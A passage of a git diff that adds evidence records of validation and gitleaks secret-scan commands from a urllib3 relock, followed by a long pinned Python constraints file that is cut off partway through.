"/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-repro-extract.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0-py3-none-any.whl.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0.tar.gz.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-oauth-literal-sweep.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-published-source-identity.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-pypi.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-release.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag-object.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-compile-help.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-release.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-version.txt", + "--scan-file", + "/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930.json", + "--scan-file", + "/blueprints/runtime-workers/openhands/requirements.lock", + "--scan-file", + "/blueprints/runtime-workers/openhands/pins.json" + ], + "cwd": "", + "started_utc": "2026-09-30T16:15:38.326301+00:00", + "ended_utc": "2026-09-30T16:15:38.708370+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "71ed5fcad94999e8cf36dc67f4d1d8ca18cf6430ad4e2e71e67ed7e8b26e5408", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "71ed5fcad94999e8cf36dc67f4d1d8ca18cf6430ad4e2e71e67ed7e8b26e5408", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-final-owned-file-publication-scan-after-upstream-example-redaction.txt", + "returned_output_sha256": "71592f600700019925c85971e2e965f1130479db6eae2bf9c985f8bd758822c5" + }, + { + "id": "repository-validation-after-upstream-example-redaction", + "argv": [ + "rtk", + "proxy", + "python3", + "scripts/validate.py" + ], + "cwd": "", + "started_utc": "2026-09-30T16:16:32.150138+00:00", + "ended_utc": "2026-09-30T16:16:52.492246+00:00", + "exit_code": 1, + "stdout_sha256_private_raw": "908e8888d53602f0cb0ab2a97c682fa6ac10761aad1b58fb025b9d3c2c729d56", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "908e8888d53602f0cb0ab2a97c682fa6ac10761aad1b58fb025b9d3c2c729d56", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-upstream-example-redaction.txt", + "returned_output_sha256": "a0d1c9589020c5d48103ae8030bd7467763fba6317b3fea787b589c107820e76" + }, + { + "id": "staged-gitleaks-after-public-example-redaction", + "argv": [ + "rtk", + "proxy", + "gitleaks", + "git", + "--pre-commit", + "--staged", + "--redact", + "--no-banner", + "--config", + "/.gitleaks.toml", + "--report-format", + "json", + "--report-path", + "/gitleaks-clean-report.json", + "" + ], + "cwd": "", + "started_utc": "2026-09-30T16:17:22.325408+00:00", + "ended_utc": "2026-09-30T16:17:23.020742+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "b33e884a6558b720bc7c30f440b287db796a28772ec54b0b093eae1434018109", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "b33e884a6558b720bc7c30f440b287db796a28772ec54b0b093eae1434018109", + "returned_output": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-after-public-example-redaction.txt", + "returned_output_sha256": "d0c69d2dbdc6ad16b9322a36e4f1ac2e08536b8c854fd31429b59f9437293618" + } + ] +} diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-constraints.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-constraints.txt new file mode 100644 index 000000000..157080edf --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-constraints.txt @@ -0,0 +1,334 @@ +agent-client-protocol==0.12.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +aiofile==3.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +aiofiles==25.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +aiohappyeyeballs==2.6.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +aiohttp==3.14.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +aiosignal==1.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +annotated-types==0.7.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +anthropic==0.75.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +anyio==4.14.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +attrs==25.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +authlib==1.6.12 ; platform_machine == 'x86_64' and sys_platform == 'linux' +backoff==2.2.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +beartype==0.22.9 ; platform_machine == 'x86_64' and sys_platform == 'linux' +beautifulsoup4==4.14.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +binaryornot==0.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +blake3==1.0.9 ; platform_machine == 'x86_64' and sys_platform == 'linux' +browser-use==0.11.9 ; platform_machine == 'x86_64' and sys_platform == 'linux' +browser-use-sdk==2.0.15 ; platform_machine == 'x86_64' and sys_platform == 'linux' +bubus==1.5.6 ; platform_machine == 'x86_64' and sys_platform == 'linux' +cachetools==7.1.8 ; platform_machine == 'x86_64' and sys_platform == 'linux' +caio==0.9.25 ; platform_machine == 'x86_64' and sys_platform == 'linux' +cdp-use==1.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +certifi==2025.8.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +cffi==2.0.0 ; platform_machine == 'x86_64' and platform_python_implementation != 'PyPy' and sys_platform == 'linux' +chardet==5.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +charset-normalizer==3.4.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +click==8.5.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +cloudpickle==3.1.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +cryptography==50.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +cyclopts==4.6.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +deprecation==2.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +distro==1.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +dnspython==2.8.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +docstring-parser==0.17.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +docutils==0.22.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +email-validator==2.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +exceptiongroup==1.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +fakeredis==2.34.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +fastmcp==3.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +fastuuid==0.14.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +filelock==3.20.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +frozenlist==1.8.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +fsspec==2025.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +func-timeout==4.3.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' +google-api-core==2.26.0 ; python_full_version < '3.13' and platform_machine == 'x86_64' and sys_platform == 'linux' +google-api-core==2.31.0 ; python_full_version >= '3.13' and platform_machine == 'x86_64' and sys_platform == 'linux' +google-api-python-client==2.184.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +google-auth==2.53.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +google-auth-httplib2==0.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +google-auth-oauthlib==1.2.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +google-genai==1.75.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +googleapis-common-protos==1.70.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +groq==0.32.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +grpcio==1.76.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +h11==0.16.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +hf-xet==1.1.10 ; platform_machine == 'x86_64' and sys_platform == 'linux' +httpcore==1.0.9 ; platform_machine == 'x86_64' and sys_platform == 'linux' +httplib2==0.32.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +httpx==0.28.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +httpx-sse==0.4.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +huggingface-hub==0.35.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +idna==3.15 ; platform_machine == 'x86_64' and sys_platform == 'linux' +importlib-metadata==8.5.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +inquirerpy==0.3.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jaraco-classes==3.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jaraco-context==6.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jaraco-functools==4.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jeepney==0.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jinja2==3.1.6 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jiter==0.11.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +joserfc==1.7.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' +json-repair==0.60.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jsonref==1.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jsonschema==4.23.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jsonschema-path==0.3.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +jsonschema-specifications==2025.9.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +keyring==25.7.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +libtmux==0.53.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +litellm==1.93.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +lmnr==0.7.60 ; platform_machine == 'x86_64' and sys_platform == 'linux' +lmnr-claude-code-proxy==0.1.23 ; platform_machine == 'x86_64' and sys_platform == 'linux' +lupa==2.8 ; platform_machine == 'x86_64' and sys_platform == 'linux' +lxml==6.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +markdown-it-py==4.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +markdownify==1.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +markupsafe==3.0.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +mcp==1.28.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +mdurl==0.1.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +more-itertools==10.8.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +multidict==6.7.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +oauthlib==3.3.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +ollama==0.6.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +openai==2.33.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +openapi-pydantic==0.5.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-api==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-exporter-otlp-proto-common==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-exporter-otlp-proto-grpc==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-exporter-otlp-proto-http==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-instrumentation==0.60b1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-instrumentation-threading==0.60b1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-proto==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-sdk==1.39.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-semantic-conventions==0.60b1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +opentelemetry-semantic-conventions-ai==0.4.13 ; platform_machine == 'x86_64' and sys_platform == 'linux' +orjson==3.11.7 ; platform_machine == 'x86_64' and sys_platform == 'linux' +packaging==26.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pathable==0.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pfzy==0.3.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pillow==12.3.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +platformdirs==4.4.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +portalocker==2.10.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +posthog==6.7.7 ; platform_machine == 'x86_64' and sys_platform == 'linux' +prompt-toolkit==3.0.52 ; platform_machine == 'x86_64' and sys_platform == 'linux' +propcache==0.4.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +proto-plus==1.26.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' +protobuf==6.33.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' +psutil==7.2.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +py-key-value-aio==0.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyasn1==0.6.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyasn1-modules==0.4.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pycparser==2.23 ; implementation_name != 'PyPy' and platform_machine == 'x86_64' and platform_python_implementation != 'PyPy' and sys_platform == 'linux' +pydantic==2.12.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pydantic-core==2.41.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pydantic-settings==2.11.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pygments==2.20.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyjwt==2.14.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' +pyobjc==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-core==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-accessibility==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-accounts==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-addressbook==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-adservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-adsupport==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-applescriptkit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-applescriptobjc==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-applicationservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-apptrackingtransparency==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-audiovideobridging==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-authenticationservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-automaticassessmentconfiguration==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-automator==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-avfoundation==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-avkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-avrouting==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-backgroundassets==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-browserenginekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.4' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-businesschat==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-calendarstore==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-callkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-carbon==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-cfnetwork==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-cinematic==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-classkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-cloudkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-cocoa==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-collaboration==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-colorsync==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-contacts==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-contactsui==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coreaudio==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coreaudiokit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-corebluetooth==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coredata==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-corehaptics==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-corelocation==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coremedia==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coremediaio==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coremidi==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coreml==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coremotion==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coreservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-corespotlight==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-coretext==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-corewlan==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-cryptotokenkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-datadetection==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-devicecheck==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-devicediscoveryextension==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-dictionaryservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-discrecording==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-discrecordingui==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-diskarbitration==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-dvdplayback==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-eventkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-exceptionhandling==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-executionpolicy==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-extensionkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-externalaccessory==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-fileprovider==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-fileproviderui==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-findersync==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-fsevents==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-fskit==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.4' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-gamecenter==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-gamecontroller==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-gamekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-gameplaykit==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-healthkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-imagecapturecore==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-inputmethodkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-installerplugins==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-instantmessage==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-intents==11.1 ; platform_machine == 'x86_64' and platform_release >= '16.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-intentsui==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-iobluetooth==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-iobluetoothui==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-iosurface==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-ituneslibrary==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-kernelmanagement==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-latentsemanticmapping==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-launchservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-libdispatch==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-libxpc==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-linkpresentation==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-localauthentication==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-localauthenticationembeddedui==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mailkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mapkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mediaaccessibility==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mediaextension==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-medialibrary==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mediaplayer==11.1 ; platform_machine == 'x86_64' and platform_release >= '16.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mediatoolbox==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-metal==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-metalfx==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-metalkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-metalperformanceshaders==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-metalperformanceshadersgraph==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-metrickit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-mlcompute==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-modelio==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-multipeerconnectivity==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-naturallanguage==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' +pyobjc-framework-netfs==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' 